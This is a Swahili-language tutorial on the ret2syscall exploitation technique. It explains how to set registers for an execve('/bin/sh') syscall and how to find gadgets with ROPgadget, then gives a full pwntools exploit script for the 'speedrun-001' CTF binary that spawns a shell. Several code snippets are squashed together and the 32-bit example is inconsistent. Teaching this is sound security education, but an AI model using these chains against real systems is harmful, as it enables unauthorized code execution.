Hii ni sawa na Ret2lib, hata hivyo, katika kesi hii hatutakuwa tukitafuta kazi kutoka kwa maktaba. Katika kesi hii, kila kitu kitakuwa kimeandaliwa kuitisha syscall sys_execve na baadhi ya hoja ili kutekeleza /bin/sh. Mbinu hii kawaida hufanywa kwenye binaries ambazo zimeandikwa kwa njia ya static, hivyo kunaweza kuwa na gadgets nyingi na maagizo ya syscall.
Ili kuandaa wito wa syscall inahitajika usanidi ufuatao:
rax: 59 Specify sys_execve
rdi: ptr to "/bin/sh" specify file to execute
rsi: 0 specify no arguments passed
rdx: 0 specify no environment variables passed
Hivyo, kimsingi inahitajika kuandika mfuatano wa /bin/sh mahali fulani na kisha kutekeleza syscall (ukijua kuhusu padding inayohitajika kudhibiti stack). Kwa hili, tunahitaji gadget ya kuandika /bin/sh katika eneo lililojulikana.
Syscall nyingine ya kuvutia kuitisha ni mprotect ambayo ingemruhusu mshambuliaji kubadilisha ruhusa za ukurasa katika kumbukumbu. Hii inaweza kuunganishwa na ret2shellcode.
Register gadgets
Hebu tuanze kwa kutafuta jinsi ya kudhibiti hizo register:
Kisha unahitaji kupata njia ya kuandika maudhui yoyote katika anwani hii
ROPgadget --binary speedrun-001| grep " : mov qword ptr \["mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
Automate ROP chain
Amri ifuatayo inaunda mnyororo kamili wa sys_execve ROP ikitolewa kutoka kwa binary ya kudumu wakati kuna vifaa vya write-what-where na maagizo ya syscall:
ROPgadget--binaryvuln--ropchain
32 bits
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop += popRdx # place value into EAXrop +="/bin"# 4 bytes at a timerop += popRax # place value into edxrop +=p32(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdxrop += popRdxrop +="//sh"rop += popRaxrop +=p32(0x6b6000+4)rop += writeGadget
64 bits
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdx
Kukosa Gadgets
Ikiwa unakosa gadgets, kwa mfano kuandika /bin/sh katika kumbukumbu, unaweza kutumia mbinu ya SROP kudhibiti thamani zote za register (ikiwemo RIP na register za params) kutoka kwenye stack:
from pwn import*target =process('./speedrun-001')#gdb.attach(target, gdbscript = 'b *0x400bad')# Establish our ROP GadgetspopRax =p64(0x415664)popRdi =p64(0x400686)popRsi =p64(0x4101f3)popRdx =p64(0x4498b5)# 0x000000000048d251 : mov qword ptr [rax], rdx ; retwriteGadget =p64(0x48d251)# Our syscall gadgetsyscall =p64(0x40129c)'''Here is the assembly equivalent for these blockswrite "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)rop += writeGadget'''Prep the four registers with their arguments, and make the syscallpop rax, 0x3bpop rdi, 0x6b6000pop rsi, 0x0pop rdx, 0x0syscall'''rop += popRaxrop +=p64(0x3b)rop += popRdirop +=p64(0x6b6000)rop += popRsirop +=p64(0)rop += popRdxrop +=p64(0)rop += syscall# Add the padding to the saved return addresspayload ="0"*0x408+ rop# Send the payload, drop to an interactive shell to use our new shelltarget.sendline(payload)target.interactive()
64 bits, nx, hakuna PIE, andika katika kumbukumbu ROP ya kuita execve na kuruka huko. Ili kuandika kwenye stack, kazi inayofanya operesheni za kihesabu inakabiliwa.
